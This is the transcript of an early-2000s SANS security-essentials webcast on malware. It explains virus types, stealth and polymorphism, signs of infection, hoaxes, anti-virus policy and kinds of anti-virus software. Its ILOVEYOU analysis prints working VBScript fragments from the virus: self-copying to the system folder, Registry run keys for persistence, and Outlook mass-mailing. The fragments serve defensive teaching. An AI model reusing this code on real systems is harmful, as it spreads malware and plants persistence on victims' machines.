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Malicious Software - SANS GIAC LevelOne
© 2000, 2001
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Malicious Software
(Malware)
SANS GIAC LevelOne
Security Essentials
My name is Fred Kerby. Today's webcast is entitled ”Malicious Software" - shown on the first slide.
It's a part of the SANS Security Essentials series.
Picture this - the trade press is all abuzz with warnings of a new killer virus, child of Chernobyl.
Recall that Chernobyl struck on April 26, 1999. In Korea alone, it affected as many as a million
computers, causing more than $250 million in damages. The boss has just come down with a
magazine article in hand and has told you to drop everything. You have three days to ensure the
organization is ready before “child of Chernobyl” day. Is this real or a hoax? What do you do to
find out? How do you meet the boss' demands to get anti-viral software installed and updated as
needed? Stay tuned for answers to these questions and more…
Of course this course isn’t going to solve all your problems if you suddenly get hit and have no plan
of action or procedures in place. So you are going to need to apply what you learn here.
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Objectives
•Malicious code
• Virus and hoax information
• Virus types and methods
• Organizational AV policy
• Desktop anti-viral care and feeding
Our next slide (entitled "Objectives") shows what we will be discussing during this Level One briefing.
At the completion of this course, the student will be familiar with these core concepts of anti-viral

protection.
What is malicious software? How does it spread? What are some of the characteristics of viruses?
What is the difference between a virus and a hoax? Where can I go to get more information on them?
Does my organization have an anti-viral policy? What does it say? Is it up to date?
What is anti-viral software?
What is involved in the care and feeding of desktop anti-viral software?
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Malicious Software (Malware)
•Viruses
•Worms
• Trojan horses
• Malicious applets
• Majority Microsoft-specific
Let's move to the next slide, “Malicious Software”
Malware is a generic term for a number of different types of malicious code - viruses, worms, Trojan horses and
malicious applets. First, we will define what these things are.
A virus is a piece of parasitic code (or program) written specifically to execute on behalf of the user without the
user's permission (or knowledge). It is parasitic in that it attaches itself to files (or boot sectors) and then
replicates, causing the spread to continue. Some viruses do little more than replicate and serve as a nuisance;
others can do serious damage such as affecting programs or degrading system performance (the virus payload).
Never assume that a virus is harmless and leave it intact. We will look at the various types of viruses in the slides
to follow.
A worm is a self-contained program (or set of programs), that is able to spread functional copies of itself to other
computer systems (usually via a network). Host-computer worms are entirely contained on their host computer.
Host-computer worms that delete from one host upon propagation to a new host are called rabbits - they ‘hop’
around a network. Some worms run in multiple parts on many hosts. These worms are called network worms.
A network worm with one coordinating segment and many client sub-segments is termed an octopus! Note:

malicious code is called a worm when it requires no specific action on the part of the user to enable infection and
propagation. It just spreads. If the code requires the user to open an email or load a screen saver or take some
other action, then it is called a virus.
Trojan horses are programs with an intended action that is not documented or revealed. Typically, Trojan
horses masquerade as some other harmless or trusted program. A well-known Trojan horse is Back Orifice.
Malicious applets are applets that attack the local system of a Web surfer and involve denial of service, invasion
of privacy, and annoyance. Malicious applets are distinguished from attack applets that exploit vulnerabilities in
the implementation of the Java security model.
It is interesting to note that of the 60,000 or so known viruses, worms etc., about 55,000 of them are Microsoft-
specific (Gene Spafford). Care is needed here because this statistic does not mean that systems such as Linux,
Unix or Mac are immune - there are just less examples found here. We usually think of infection via the network
and floppy disks, but CDROMs are notorious for hosting malware. Just think of the damage that could be done
with a music CD. How about infecting a Windows system just because auto-run is enabled?
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Virus Types (1)
• File infectors / Program viruses
–Direct-action
– Memory resident
–Cluster or File system virus
• Potential to spread over networks
Go to the slide entitled “Virus Types (1)” and let's take a look at viruses. Viruses are identified by
the ways they infect computers. Usually, a virus falls into one of the following three categories:
program viruses, boot record infectors, or macro viruses.
For the next few slides we will focus on program viruses. A program virus gets activated when the
program is executed (or run). The virus is loaded into the computer memory and then proceeds to
wreak havoc. The results of the virus triggering may not be obvious immediately, as the virus may
have a built-in delay (an event-triggered virus). First signs of infection can include files being

saved with malformed or improper names.
Program viruses are usually attached to files such as COM or EXE files, but can infect any
executable or interpretable file - overlays, drivers, system files, or binary files. Examples also exist
of viruses that infect C source code such that the compiled executable is infected!
Direct-action file infectors find one or more selected programs to infect each time the infected
program is run. Resident viruses install to the system service area of RAM and infect new
programs when they are run. Cluster viruses infect program files indirectly by modifying file
system structures such as the file allocation table. These viruses are loaded by the OS before the
target program because the file system points to the virus first.
Program file viruses need to be executed to activate and spread. As well as being run locally, users
can run infected programs from servers, download and run infected files, or execute mail
attachments. These viruses therefore have the potential to spread from program to program on a
single host, and find their way to infect new programs on different hosts by being spread by network
users.
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COM Program Infectors
Prepended virus Appended virusCOM program
START
END
COM
VIRUS
VIRUS
JUMP
COM
1
2
3

4
5
6
Our next slide is entitled “COM program infectors”.
Now we’ll take a look at how program files are actually infected.
COM file viruses attach themselves to their target in one of three ways - by prepending to the
beginning, by appending to the end, or by overwriting part of the file.
A prepending virus gains control when the first instruction of the infected COM file is executed.
The virus runs and then passes control to the original program. Because of this, users may not notice
anything different.
An appending virus writes an instruction to jump at the first instruction in the file. This jump will
take execution to the virus which later returns control to the COM program.
Overwriting viruses simply write their code to the beginning of the file. These viruses therefore
destroy the original program. More sophisticated overwriting viruses will make a copy of the
portion that they overwrite which can later be executed - all in an effort to remain covert.
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Malicious Software – SANS GIAC LevelOne
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EXE Program Infectors
Original EXE Program Infected EXE Program
Header
Load
Image
VCS VIP
SIZE+V
VIRUS START
CS IP
SIZE
START

START
CS IP
The next slide, “EXE program infectors”, shows how an infected executable is structured.
Executables consist of two parts - the header, and the load image. The header contains, among other
things, a pointer that points to the first instruction to be executed in the load image. The pointer
(CS:IP) consists of a pair of values - the code segment (CS), and instruction pointer (IP). A header
entry named SIZE stores the size of the load image.
When the executable is infected, these header entries are altered. CS:IP becomes VCS:VIP and now
points to the start of the appended viral code. SIZE increases to VSIZE and measures the size of the
infected load image. Running the infected program will cause a jump to the virus load image. When
completed, the viral code hands execution back to the original program.
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Virus Types (2)
• Boot-record infectors
–Floppy boot record (FBR)
–Master boot record (MBR)
–DOS boot sector (DBS or PBR)
–No network spreading potential
•Multipartite
–Potential to spread over networks
Let’s go to the slide entitled “Virus Types (2)”. The next virus we'll review is the boot infector.
Every disk has a boot sector (regardless of whether or not it is actually bootable). When a computer
is powered up, it looks for boot information according to a list provided by the computer BIOS. If
any of the media in the drives specified in the BIOS list have a boot sector virus, the infection will
get transferred to the boot drive. Once the infection is complete, the virus will get loaded into
memory at startup. From there, the virus can be spread to every disk that is read after startup.
Results of the infection can range from nuisance (if at all) to destruction of boot information, to need

for a complete format of the hard disk.
Floppy disks contain a floppy boot record (FBR) which can harbor a virus. If a system is booted
from such a floppy the virus will load and infect the hard disk. Viruses on hard disks infect either
the master boot record (MBR) or the Partition boot record (PBR) (sometimes called the DOS boot
sector (DBS)). The MBR is the first place the BIOS looks when booting from a hard drive. If a
virus is present it can seize control of the hardware before the operating system even sees the light of
day! PBR’s are executed after the bootstrap program in the MBR passes on control to the active
partition. Operating system files that are present on a partition are loaded according to instructions
in the PBR. Like the MBR infection, if a virus is present it will be loaded before the operating
system.
Multipartite viruses are hybrids of boot infectors and program viruses. When executed as a
program, boot sectors become infected, and vice versa - if multipartite-infected media are booted,
program files get infected. Multipartite viruses provide a mechanism by which boot-sector viruses
can get around on networks (they travel as program files). Boot-sector viruses cannot on their own
infect across networks. This is because the network protocols do not support sector level operations.
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Malicious Software – SANS GIAC LevelOne
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Virus Types (3)
• Macro viruses
– Targets are data files (e.g. *.doc)
–Written in ‘macro languages’ (e.g.
Melissa macro virus)
–Visual Basic Editor
• High network spreading potential!
Our next slide is entitled “Virus Types (3)”. A macro virus is malicious code contained in a set of
instructions that are included within an application such as a word processor or spreadsheet. Unlike
program viruses, which target executables, macro viruses target data files. Once the macro
containing the infection is loaded onto your computer, it can infect other files (such as the normal.dot

template for Microsoft Word) or cause itself to be propagated to other users automatically. A typical
example is the Melissa macro. It caused a document containing the macro to be mailed
electronically to other email users.
The activated macro virus is limited only by the capabilities of the ‘macro language’ being used.
Microsoft macros, written in Visual Basic, can access all host application features (e.g. Word) and
many OS features (Windows). For example, in Word or Excel, try opening <Tools-Macro-Visual
Basic Editor>. This opens a Visual Basic session enabling complex macro design. Imagine the
potential damage from commands such as open, kill (delete), or rmdir!
Macro viruses can spread as email attachments. Users open an infected attachment, the virus reads
the address book and mails itself on. For this reason, macro viruses have a huge potential to spread
over networks.
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Virus Protection Techniques 1
• Stealthing
–virus attempts to hide or ‘cloak’ itself
–hiding from anti-virus software
–read stealthing
–size stealthing
• Need to scan memory to detect
Let’s go to the slide entitled “Virus Protection Techniques (1)”. To avoid detection, or being picked
up during an anti-virus scan, sophisticated viruses employ techniques to cover their presence or
tracks. When active, the virus builds itself a “cloaking device”.
Stealthing is achieved in a number of ways. The virus, through being memory resident (or hooked
into system services), monitors system function calls. When a system call is made, it is intercepted
by the virus and the virus tells a lie back to the system. In this way the system is deceived.
Read stealthing involves monitoring attempts to read or write infected files (e.g. open, read, or
close). If an infected program file is opened and read, the virus might give back to the system

information from a backed-up copy of the original file - the infection is invisible! Another form of
read stealthing monitors direct access to disk sectors. Even if low level calls are made to read the
master boot record (e.g. BIOS Interrupt 13), the virus will interject.
Size stealthing viruses monitor calls to directory entries and other parts of the file system. If the
operating system were to inquire as to the size of an infected file, the call is intercepted and a lie is
told.
Stealthing prevents or hinders detection by examining disks. Anti-virus scanning software must
therefore resort to scanning the system portions of RAM to detect these viruses.
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Malicious Software – SANS GIAC LevelOne
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Virus Protection Techniques 2
• Polymorphism
–poly = many, morph = form
–encryption/decryption routines
–mutation engines
• Makes a scanner’s job a lot harder
Our next slide is “Virus Protection Techniques (2)”. Now let's look at another protection technique -
polymorphism. Polymorphism literally means many forms. A polymorphic virus therefore has
many and varying forms - very biological indeed. If a virus is continually changing the way it looks,
the job of the anti-virus scanner is made a lot more difficult.
Viral polymorphism is achieved by using a mechanism that varies the code used to decrypt, or
unsheath, the virus into its active state. The inactive virus is encrypted so that it cannot be easily
detected by scanning for common strings (in fact, the code of the virus body will look like random
data).
If the encryption and decryption routines did not change from virus to virus, then a scanner could
detect the virus by detecting the decryption code. Therefore, polymorphic viruses change their
decryption routines on the fly. These changes might be made by a mutation engine built into the
virus that is linked to a random number generator. Alternatively, some mechanism might exist to

vary the sequence of instructions, or insert redundant instructions into the mutating routine. The
decryption routines still perform their functions, but the way they look is different.
The common cold is a biological example of viral polymorphism - however, the cold virus varies in
both form and function.
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Other Virus Variations
–Fast and slow infectors
–Companion viruses
–Sparse infectors
–Cavity viruses
–Tunnelling viruses
– Armored viruses
– Retro viruses
–“In the wild”
It is worthwhile taking a look at some other virus variations. These are listed on the next slide.
Fast infectors are memory-resident program viruses that not only infect programs that are executed,
but also those that are opened or accessed. The danger with this is the potential spread of infection
before the virus is detected. Imagine scanning (hence infecting!) 70% of all your files before you
detect the fast infector.
Slow infectors only infect files when they are created or modified. This is an attempt to avoid the
integrity checking or file monitoring capabilities of anti-virus software. A file changes when it is
modified, so this is a good time for a virus to conceal its actions.
Sparse infectors only infect occasionally (e.g. 1 in 10 files accessed).
Cavity viruses write themselves to redundant or null constant portions of a program file. In this way
the file remains the same size and has the same function, but it is carrying the virus in a ‘cavity’.
Tunneling viruses bypass activity monitoring software by directly accessing interrupt handlers on
hardware controllers. For example, disks can be accessed by directly reading and writing the address

and data buses.
Armored viruses employ tricks to make analysis such as tracing and disassembly difficult.
Retro viruses are “anti-anti-virus”. These viruses set out to attack or hinder the software that
detects them. Retroviruses exist in nature with the most infamous example being HIV, which attacks
the human immune system.
Finally, if a virus has been verified (by groups that track viruses) to have caused an infection in other
than a laboratory environment, it is described as 'in the wild'. A virus that has not been observed in
a real world situation (i.e., not in the wild) can be described as 'in the zoo'.
That ends our survey of virus types and modes of action.
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Malicious Software – SANS GIAC LevelOne
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ILOVEYOU Virus
• E-mail attachment
• Attempts to spread to Outlook
address book contacts
• Installs a password-grabbing
program
• Overwrites some files
Now let’s examine the structure and mode of action of a recent virus - the ILOVEYOU virus.
On May 4, 2000, many computer users encountered mail with the subject stating “ILOVEYOU”.
The mail body instructed users to “kindly check the attached LOVELETTER coming from me” -
history now says that many did not resist the temptation.
The attachment (named LOVE-LETTER-FOR-YOU.TXT.vbs), when opened, resulted in a script
being run that spread the same message to all contacts in all of the victim’s address books.
Typically, address books contain multiple entries. This means the virus amplifies after each new
infection.
The ILOVEYOU virus has two distinct parts to its payload - installation of a password grabber, and
the overwriting of files.

The password grabber is installed by changing the startup page of the local browser to a web page
that will attempt to execute a program named WIN-BUGSFIX.exe - so named in an attempt to fool
users into clicking “yes” when asked if the executable should run. If run, the password grabber is
installed and set to run at boot time. Upon booting it will ‘sniff’ user passwords when entered.
The virus also overwrites some files (e.g. vbs, vbe jpg, and mp3 files). These files are overwritten
with the virus code and are therefore infected. If these infected files are run, the infection will
propagate.
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ILOVEYOU Analysis (1)
• Code is VBScript
• Interpreted by a scripting engine
• Five routines
–main()
–regruns()
–spreadtoemail()
–html()
–listadriv()
Go to the next slide – “ILOVEYOU analysis (1)”.
A look at the virus code is instructive.
The ILOVEYOU virus is written in VBScript, and will therefore run on systems that have the
windows scripting host (WSH) installed, or systems that interpret Visual Basic and have a Wscript
library. WSH is installed if you choose a standard installation of the operating system, or if you
install Internet Explorer 4 or 5, or if you download WSH from Microsoft. (Check <My Computer -
View - Options - File Types> and look for VBScript or Windows Script Hosting components). An
application that can be driven by scripting engine is a scripting host.
The code consists of five routines and some supplementary support functions. The routines are:
main(), regruns(), spreadtoemail(), html(),

and
listadriv().
Each of these
subroutines will be examined in turn.
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ILOVEYOU Analysis (2)
• Subroutine
main()
–Copies virus script to multiple
locations
–Invokes the remaining routines
• Subroutine
regruns()
–Adds Registry values to:
• execute the virus at boot time
• download a password-grabber and set it to run
at boot time
Our next slide is entitled “ILOVEYOU analysis (2)”.
The subroutine main(), exists to do two things: make copies of the virus in system and windows directories,
and call the remaining subroutines.
Look at the following VBScript:
dim dirwin, fso, c
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set dirwin = fso.GetSpecialFolder(0)
Set c = fso.GetFile(Wscript.ScriptFullName)
c.Copy(dirwin&”\Win32DLL.vbs”)
Even if you are not familiar with VBScript you can still see that this language has the power to read directories

and create files - what more does a virus need? The code segment above starts by declaring some variables,
then declares a file system object, finds the system directory, gets the name of the virus currently running and
then copies this file to %system_folder%\Win32DLL.vbs - which looks like a legitimate system file.
regruns() sets Registry keys to make the file created above run at boot time, changes the Internet Explorer
start page to load WIN-BUGSFIX.exe, and sets the Registry to execute this program at boot time. These effects
are illustrated with the following script examples:
Set regedit = CreateObject(“Wscript.Shell”)
regedit.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\RunServices\Win32DLL”, dirwin&”\Win32DLL.vbs”
regedit.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,
“page/WIN-BUGSFIX.exe”
regedit.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\WIN-BUGSFIX.exe”, tempdir&”\WIN-BUGSFIX.exe”
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ILOVEYOU Analysis (3)
• Subroutine
spreadtoemail()
• Spreads virus to users in each
address book
• Creates Registry keys such that
virus is not sent to the same
address more than once
Go to the next slide – “ILOVEYOU analysis (3)”.
spreadtoemail() spreads the virus to all entries in the victim’s address book. Each address
book is found and each address is read in turn. A new mail object is then constructed and sent.
Set out = Wscript.CreateObject(“Outlook.Application”)
Set mail = out.CreateItem(0)

Set mailaddress = %script to get user from address book%
mail.Recipients.Add(mailaddress)
mail.Subject = “ILOVEYOU”
mail.Body = vbcrlf&”kindly check the attached LOVELETTER coming from me.”
mail.Attachments.Add(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)
mail.send
spreadtoemail() also contains code to ensure that the virus is only sent to each address book
entry once. This is achieved by saving, in the Registry, those who have been targeted already.
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ILOVEYOU Analysis (4)
• Subroutine
html()
–creates an html page to be sent over
IRC
–alternative mode of spreading
• Subroutine
listadriv()
–overwrites specific files with the virus
– propagates infection
The subroutine html() writes an html page that will be sent through Internet Relay Chat (IRC).
The web page contains Java script that creates a window and a VBScript that recreates the virus and
executes it. This provides another way for the virus to spread.
listadriv() looks for specific types of files and then infects these files. This is achieved by
using script functions such as GetFolder, GetExtensionName, OpenTextFile, write, and close. These
functions look dangerous and are dangerous!
Files that are overwritten are deemed infected - if these files are run at a later stage, the virus will be
executed yet again.

That ends our walk through of the VBScript for the ILOVEYOU virus. One final point - the code
requires the user to open an email and run an attachment to be activated. For this reason,
ILOVEYOU is a virus. If no special actions were required by the user, it would be a worm. Many
sources refer to this piece of malware as a worm. A full analysis of the ILOVEYOU virus is
contained in the appendix. Note that this analysis refers to the program as a worm - probably
because it uses a network to spread, rather than disks or files. Look at the definitions of worms and
viruses and think about it. Take a look at the full analysis and understand just what the virus is
doing. After all, can we afford not to understand the enemy?
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Indications of an Infection
• Computer runs slower
• Disk drive makes noise
• Running out of free space
• File sizes change
• Unexplainable files
• Characters dropping from screen
Go to the slide entitled “Indications of an Infection”.
The best way to detect and protect against viruses is to use a good anti-viral program. By the way, no one program
ever seems to pick up all viruses, but running two anti-virus programs at the same time can be a recipe for disaster.
Everyone I have talked with that has tried this in production has been burned bad. One solution for organizations
that have a disk scan facility at the physical security desk is to run one brand of anti-virus to scan incoming disks and
another entirely inside the facility.
Not everyone uses anti-viral and people who do, don't always keep the signatures up to date. If that's not enough, the
virus programmers are continually writing new ones. What's a guy to do? Look for signs of anomalous activity.
This slide shows some of the symptoms you might observe. Here are some of the comments you might hear:
"My system seems slower than normal."
"My disk drive makes a lot of noise."

"The disk drive light is on a lot of the time."
"I keep running out of free space."
There are other indications, but you get the idea - the computer is behaving in a different manner. At this point, I
should mention that these indications in and of themselves do not constitute an infection.
I bought a brand new shiny computer in December 1996. It had a massive 2 GB hard disk, and a whopping 16 MB
of RAM and came bundled with Windows 95. I added anti-viral software, Microsoft Office, a browser, and a few
other goodies. Two and a half years later, after I had been updating patches and hot fixes to both the operating
system and the applications (as well as anti-viral signatures), I noticed that it seemed to take longer and longer to
bring up my desktop and files I wanted to edit. To cut to the chase, I was not infected. The updates and newer
programs had simply become much larger to the point that I simply didn't have enough RAM in the computer to get
decent performance. After I added 32 MB of RAM, the system worked MUCH better. There are two morals to this
story: (1) just because your computer shows one of the indications above, it does not mean that your are infected; (2)
while more memory is usually a good thing, it will not cure a viral infection.
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What to do if you’re infected
• Contain the problem
• Fix it
• Share your experiences with others
Let's go to the next slide - "What to do if you're infected”. If you see the signs above and don't have
a current anti-viral program installed, what should you do?
First, DO NOT PANIC. Contain the problem by isolating the computer system (unplug the network
cable, leave the system powered up, and do not use it). If you are not the system administrator,
contact that person and ask for help.
Second, fix the problem - install current anti-viral software and either clean up the problem OR
verify that you are not infected and move onto solving whatever is causing the symptoms you
identified.
Third, share your experience - tell others what happened, how you corrected it, and what you

learned. Even if you were mistaken and are embarrassed by it, you might prevent someone else from
making the same mistake if you let them know what you did.
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Virus & Hoax Information





What we've discussed so far can be overwhelming. You certainly can't hear everything you might
ever need to know about viruses in a single webcast, so let’s go to the next slide (Virus & Hoax
Information) to see some of the resources that are available on the web if you want or need more
information on viruses and hoaxes.
CERT is the home of the Computer Emergency Response Team located at Carnegie-Mellon
University. When you use this link, go to the site map and scroll down to the section entitled "Other
Sources" to get to the virus information.
Symantec is the home of Norton AntiVirus (as well as other software packages with the Norton
name). This is a very informative site.
Antivirus.com is where you will find the Trendmicro site. You can go to housecall.antivirus.com
and request a free online scan of your system.
NAI is short for Network Associates, Incorporated. It’s the home of McAfee anti-viral software as
well as a wealth of information on viruses.
ICSA is the International Computer Security Association (formerly the National Computer Security
Association) - yet another good source of virus and anti-viral information. The site has been
revamped and you’ll be relocated to trusecure.com.
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Virus & Hoax Information (2)
•Viruses
–
•Hoaxes
–
–
The next slide (Virus & Hoax Information (2) ) lists some additional resources for both topics.
The first is the home of the Virus Bulletin. The link shown claims to be "THE INTERNATIONAL
PUBLICATION ON COMPUTER VIRUS PREVENTION, RECOGNITION AND REMOVAL.” A useful
site though this bulletin is available only by paid subscription.
The next two links shown (kumite and hoaxkill) are places you can go to get information on hoaxes. I
mention these because there are a number of "viruses" reported which are not really viruses. They cause a
tremendous 'denial of service' condition when folks unwittingly forward the hoax information to friends and
co-workers with the admonition “if you see this, delete it and don't open it - it will format your hard drive!” (or
something similar to this). If you get a notice such as this, please check it out with a knowledgeable source
before you forward it.
This concludes the overview of virus types, characteristics, activation mechanisms, indications of an infection,
and what to do if you are infected. We also covered (very briefly) hoaxes and where to go to get more
information. Let's now pursue how you go about getting effective anti-viral protection implemented in your
organization.
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Background
• Policy or Practice
• Need for guidance
• How it gets implemented

Let's go to the next slide – “Background”. This is the first of three sections on Policy. The other two (covered
in upcoming slides) are Scope and Responsibilities. There is some discussion as to whether we need a policy
document or implementation guidance. The difference is that the policy usually states WHAT must be done,
and the implementation guidance tells HOW to do it. The 'what' we are trying to do might be 'to provide
effective anti-viral protection for all desktop computers' and the 'how' might be ‘to establish a single repository
from which each user will download and update desktop anti-viral software'. It's important to know which
document you are writing before you begin. If you don't, you may become very frustrated.
A well written policy will have the following characteristics:
• Matches your organization and architecture.
• Is adaptable to change.
• Has management and administrator buy-in.
• A policy that cannot be implemented (or enforced) is of little or no value. Bear this in mind prior to
picking up the pen.
Your policy must accommodate change. We didn’t use anti-viral software on Unix computers five years ago.
Anyone who has a Unix-based mail relay today and doesn’t scan email is looking for an incident.
Cost, or actually, cost/benefits is a big factor when getting management buy-in. Try to find metrics of the
harm viruses have done.
Another key element that cannot be overstressed is getting management and administrator buy-in to what you
plan to do. Lose in either camp and you lose big time.
The bottom line is that your policy will establish the written measurable standard by which organizational
performance is gauged.
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Scope (protect in depth)
•Desktops
• Portables and notebooks
• Servers (mail, file, other)
• Employee-owned computers

•Palmtops
• Firewall
The next slide - “Scope” - shows us some of the things that need to be addressed in our
implementation guidance.
It would be great if we could provide anti-viral protection for every computer that exchanges
information with computers and users inside and outside of the organization. Is this realistic (or even
possible)? Maybe not. In any organization, we can implement “defense in depth” as we deploy anti-
viral protection. The depth needed will be a function of the complexity of the computer and network
infrastructure.
The list given on this slide shows some of the risk vectors that you might need to address in your
document. Even if you don’t have these vectors now, you might have them in the not-too-distant
future. Be sure your policy will cover them as needed.
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Roles and Responsibilities
• Acquisition/procurement
• Installation and updating
• How often to update
• Logfile review
• Reporting infections
Now that we've looked at the scope of our policy, what are some of the roles and who is responsible for
getting things done?
The next slide, “Roles and Responsibilities”, lists several items that are candidates for inclusion in your
policy or implementation guidance.
Who obtains the anti-viral software and how?
This is the place to identify if your organization will use a site license, and how folks can get a copy. Is
each user responsible for his or her PC, or does the organization have a group whose job it is to do things
like this?

Who will install the software and who will keep the signatures up to date? How frequently? Again, are
the individual users responsible for ensuring that this happens?
Is anyone responsible for looking at contaminations on the individual computers or across the
organization? If so, who is that individual and do we need to report infections to that person? Typical
candidates can include the organization’s computer security folks, your incident response team, and the
corporate office.
Answers to these questions should be included in your policy or implementation guidance.
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Policy Pointers
• />/policywp.pdf
• />downloads/av_policy_guide3_12.pdf
• Internet search (Lycos, Yahoo)
Go to the slide entitled “Policy Pointers”. It shows three (of many) places you can go on the web for
more information.
The first comes to you from the Trend Micro site. The title page says “Designing and Implementing
a Virus Prevention Policy: Key Issues and Critical Needs”. It is a good resource to have handy when
you are developing a policy document. While it doesn’t provide a ‘fill in the blank’ template, it
DOES provide much food for thought.
The next (from TruSecure) is a link that I got from the ISCA page. It goes beyond policy and into
implementation.
Finally, I also got some good hits on a search run from Lycos ™. Your mileage may vary.
To summarize the section on policy, your organization will benefit from having a written document
that describes what the organization is committed to protecting (desktops, servers, etc.), who is
responsible for doing what (buying, installing, updating, cleaning up, reporting, etc.) and what
standards must be met (performance criteria).
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Anti-virus Software
• Activity monitoring programs
• Scanners
• Integrity checkers
• Remember “defense in depth”
Let’s go to the slide entitled “Anti-virus Software”.
What about virus protection? There are three main kinds of software protection techniques. These
are: activity monitoring programs, virus scanners, and integrity checkers.
Activity monitors (or behavior blockers) aim to prevent infection by monitoring for virus-like
activity (e.g. writing to .exe files, or formatting disks). Such programs can potentially detect viruses
that they have not encountered before - as long as those viruses perform some action that is being
monitored. These programs are generally considered a weak form of defense. Some viruses (e.g.
tunnelling viruses) can bypass what is being monitored, or may in fact disable the monitoring. Some
of the current anti-viral programs (such as Norton Anti-Virus and McAfee Vshield) offer the option
to block virus-like activities such as low level formatting of the hard disk, writing to hard or floppy
disk boot records, writing to program files and changing the file read-only attribute.
Scanners, perhaps the best known form of defense, look for known viruses by searching for ‘scan
strings’ (signatures) or certain algorithms (to aid in detection of polymorphic viruses). Examples are
Norton and McAfee anti-virus. Scanners suffer from the problem that even simple viruses, if they
are new or unknown, can be missed by the scan. Therefore, a scanner alone is not a complete
defence against viruses.
Integrity checkers compute checksums or hash values of original files and store the results in a
database. The program can later recompute this value and compare it with the original. If a file has
been modified, the “before” and “after” values will not match. These programs are sometimes
described as generic detectors because they have the ability to catch new viruses. Typical file
integrity analysis programs for a Microsoft NT environment include Tripwire for NT and Security
Profile Inspector. You can do a ‘net search to locate shareware programs that perform cyclic
redundancy checks and store the value for comparison later. These programs are in effect virus

detectors, not virus preventers.
No one of the software defences is a complete defense on its own. Good practice may include some
combination of all AV software. The principle of ‘Defense in Depth’ takes us even further. To be
confident with our capability to recover from a virus attacks we should also implement sound backup
strategies.